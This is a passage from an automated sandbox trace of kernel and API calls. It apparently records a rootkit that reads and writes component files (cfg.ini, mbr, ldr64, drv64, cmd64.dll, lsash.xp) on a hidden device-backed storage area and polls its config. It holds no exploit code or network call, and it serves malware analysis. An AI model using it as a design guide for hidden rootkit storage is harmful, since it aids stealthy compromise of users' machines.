(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.812] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.812] IdePortDispatch () returned 0x103 [0116.812] KeWaitForMutexObject () returned 0x0 [0116.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.812] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.812] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.812] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.812] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.812] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b6a870 [0116.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.812] KeLeaveCriticalRegion () [0116.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.812] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.812] KeEnterCriticalRegion () [0116.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.812] KeLeaveCriticalRegion () [0116.812] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.812] KeEnterCriticalRegion () [0116.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.812] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.812] IdePortDispatch () returned 0x103 [0116.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.813] KeLeaveCriticalRegion () [0116.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.813] KeEnterCriticalRegion () [0116.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035df000 [0116.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.813] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.813] IdePortDispatch () returned 0x103 [0116.813] KeWaitForMutexObject () returned 0x0 [0116.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.813] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.813] IdePortDispatch () returned 0x103 [0116.813] KeWaitForMutexObject () returned 0x0 [0116.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.813] KeLeaveCriticalRegion () [0116.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.814] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.814] KeEnterCriticalRegion () [0116.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] KeLeaveCriticalRegion () [0116.814] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.814] KeEnterCriticalRegion () [0116.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.814] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b29180, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] KeLeaveCriticalRegion () [0116.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.814] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.814] KeEnterCriticalRegion () [0116.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] ExFreePoolWithTag (P=0xfffffa8003b6a870, Tag=0x0) [0116.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.814] KeLeaveCriticalRegion () [0116.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.814] ReleaseMutex (hMutex=0xf0) returned 1 [0116.814] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.814] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.814] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.815] KeEnterCriticalRegion () [0116.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.815] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.815] IdePortDispatch () returned 0x103 [0116.815] KeWaitForMutexObject () returned 0x0 [0116.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80081efcc0 [0116.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.815] KeLeaveCriticalRegion () [0116.815] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.815] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.815] KeEnterCriticalRegion () [0116.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.815] KeLeaveCriticalRegion () [0116.815] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.815] KeEnterCriticalRegion () [0116.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.815] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.815] IdePortDispatch () returned 0x103 [0116.816] KeWaitForMutexObject () returned 0x0 [0116.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.816] KeLeaveCriticalRegion () [0116.816] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.816] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.816] KeEnterCriticalRegion () [0116.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e0000 [0116.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.816] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.816] IdePortDispatch () returned 0x103 [0116.816] KeWaitForMutexObject () returned 0x0 [0116.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.816] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.816] IdePortDispatch () returned 0x103 [0116.816] KeWaitForMutexObject () returned 0x0 [0116.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.816] KeLeaveCriticalRegion () [0116.816] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.817] KeEnterCriticalRegion () [0116.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] KeLeaveCriticalRegion () [0116.817] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.817] KeEnterCriticalRegion () [0116.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.817] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80081eff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] KeLeaveCriticalRegion () [0116.817] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.817] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.817] KeEnterCriticalRegion () [0116.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] ExFreePoolWithTag (P=0xfffffa80081efcc0, Tag=0x0) [0116.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] KeLeaveCriticalRegion () [0116.817] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.817] ReleaseMutex (hMutex=0xf0) returned 1 [0116.817] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.817] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.817] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.817] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.817] KeEnterCriticalRegion () [0116.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.818] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.818] IdePortDispatch () returned 0x103 [0116.818] KeWaitForMutexObject () returned 0x0 [0116.818] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.818] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.818] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.818] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.818] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.818] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.818] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.818] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.818] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.818] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.818] KeLeaveCriticalRegion () [0116.818] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.818] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.818] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.818] KeEnterCriticalRegion () [0116.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.818] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.818] IdePortDispatch () returned 0x103 [0116.819] KeWaitForMutexObject () returned 0x0 [0116.819] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.819] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.819] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.819] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.819] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.819] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.819] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.819] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.819] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.819] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.819] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.819] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.819] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.819] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.819] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.819] KeLeaveCriticalRegion () [0116.819] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.819] ReleaseMutex (hMutex=0x100) returned 1 [0116.819] Sleep (dwMilliseconds=0x2bf20) [0116.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68dbd550, dwHighDateTime=0x1d24fa4)) [0116.881] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.881] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.881] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.881] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.881] KeEnterCriticalRegion () [0116.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.881] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.881] IdePortDispatch () returned 0x103 [0116.882] KeWaitForMutexObject () returned 0x0 [0116.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.882] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.882] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.882] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.882] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.882] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80081efc20 [0116.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.882] KeLeaveCriticalRegion () [0116.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.882] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.882] KeEnterCriticalRegion () [0116.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.882] KeLeaveCriticalRegion () [0116.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.882] KeEnterCriticalRegion () [0116.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.882] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.882] IdePortDispatch () returned 0x103 [0116.882] KeWaitForMutexObject () returned 0x0 [0116.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.883] KeLeaveCriticalRegion () [0116.883] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.883] KeEnterCriticalRegion () [0116.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b21000 [0116.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.883] IdePortDispatch () returned 0x103 [0116.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | 